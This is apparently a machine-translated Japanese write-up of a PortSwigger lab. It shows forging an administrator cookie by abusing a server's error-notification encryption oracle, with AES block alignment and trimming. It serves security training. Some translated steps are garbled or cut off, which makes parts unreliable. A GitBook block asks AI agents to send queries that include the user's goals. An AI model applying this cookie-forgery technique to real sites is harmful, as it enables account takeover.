> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/business-logic/authentication-bypass-via-encryption-oracle.md).
# 暗号オラクルによる認証バイパス
暗号オラクルによる認証バイパスの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。
### 暗号オラクルによる認証回避
**ラボの説明**
このラボには、\*\*サーバー側の暗号化オラクル\*\*を露出する論理的欠陥があります。この弱点を悪用すると、認証を回避し、管理パネルにアクセスしてユーザーを削除するための有効な暗号化値を偽造できます。 **carlos**.
提供された識別子:
* ユーザー: `wiener`
* パスワード: `peter`
**初期観察**
ログインページには、 **ログイン状態を維持する** オプションがあります。
使用すると、〜で暗号化されたCookieが **Base64** 生成され、クライアント側に保存されます。
```bash
echo '0HE6oMYJL//S1fLwttqR7WMF3EX4KJmvfFRI53qpVnk=' | base64 -d
# デコードされた値はバイナリの暗号文であり、可読なテキストではありません。
```
### 暗号オラクルの特定
有効なコメントを送信しても、特別な応答は観測されません。
しかし、コメントがアプリケーションエラー（例: 無効なメールアドレス）を引き起こすと、サーバーは：
* 画面に表示されるエラーメッセージを返します；
{% code overflow="wrap" %}
```bash
csrf=cFMQUjAyzETtEr8TLsoir7V5p4C3m4ZG&postId=4&comment=test&name=test&email=test&website=https://localhost
```
{% endcode %}
* 新しいCookieを生成します `通知`\*\*、暗号化された。
表示される内容の例は次のとおりです：
これは次のことを示しています：
* サーバーは\*\*Cookieの内容を復号し、 `通知` Cookie;
したがって、サーバーは **暗号化および復号のオラクルとして機能します**.
* 復号されたテキストは **HTMLレスポンスに再挿入されます**.
### Cookieとの相関
Cookieの暗号化された値を\*\*注入することで
観測される形式は次のとおりです：
これは明らかに次に対応します：
* ユーザー名；
* タイムスタンプ。
#### 管理者IDの偽造
目的は、サーバーに次の文字列を暗号化させることです：
```bash
administrator:1766913113564
```
そのために、この値を脆弱なフィールド（無効なコメント/メール）に注入し、次を引き起こします：
* この文字列を含むエラーメッセージを表示する；
新しい〜の生成 `通知` Cookie。注入したテキストを含みます。
{% code overflow="wrap" %}
```bash
Set-Cookie: notification=VQbs3ex4CbvKjTm0LM5wuZa79pnAzKI9MEsa1O0MbX%2fJpfl9baj6yL3ryxh4u6nyiWHVwxP7%2fVDPyft%2f1qAbbQ%3d%3d; HttpOnly
```
{% endcode %}
### 暗号化アルゴリズムの特定
暗号化された値を任意に切り詰めると、サーバーは次のエラーを返します
```bash
PTBLGtTtDG1/yaX5fW2o%2bsi968sYeLup8olh1cMT%2b/1Qz8n7f9agG20%3d
```
`パディング付き暗号で復号するとき、入力長は16の倍数でなければなりません`
これは、以下の使用を明確に示しています **パディング付きAES**、〜バイト単位のブロックで動作し **16バイト**.
#### 暗号ブロックの操作
発生している問題は、メッセージ末尾に無効なパディング文字があることです。/ これを修正するため、注入する連鎖の前に埋め込み文字を入れて、ブロックを正しく揃えます：
```
xxxxxxxxxadministrator:1766913113564
```
すると、新しい暗号化Cookieが生成されます。
VQbs3ex4CbvKjTm0LM5wuZJqwlVboMZ2IzNuiTfVH6iHj9RZUT59d5kGoS64tVE5wWiEfmp6VbJG%2bb%2fNW5%2bblA%3d%3d
### Cookieの切り取りと再構成
最初の〜を削除すると **2つの暗号化ブロック** （埋め込みに対応する）含まれるブロックのみが：
この最終的な暗号化値はサーバーに受け入れられます。
```
h4/UWVE%2bfXeZBqEuuLVROcFohH5qelWyRvm/zVufm5Q%3d
```
#### 認証の回避
最終手順：
1. 既存のセッションクッキーを削除します。
2. Cookieの値を\*\*置き換えます
3. ページを更新します。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web/business-logic/authentication-bypass-via-encryption-oracle.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
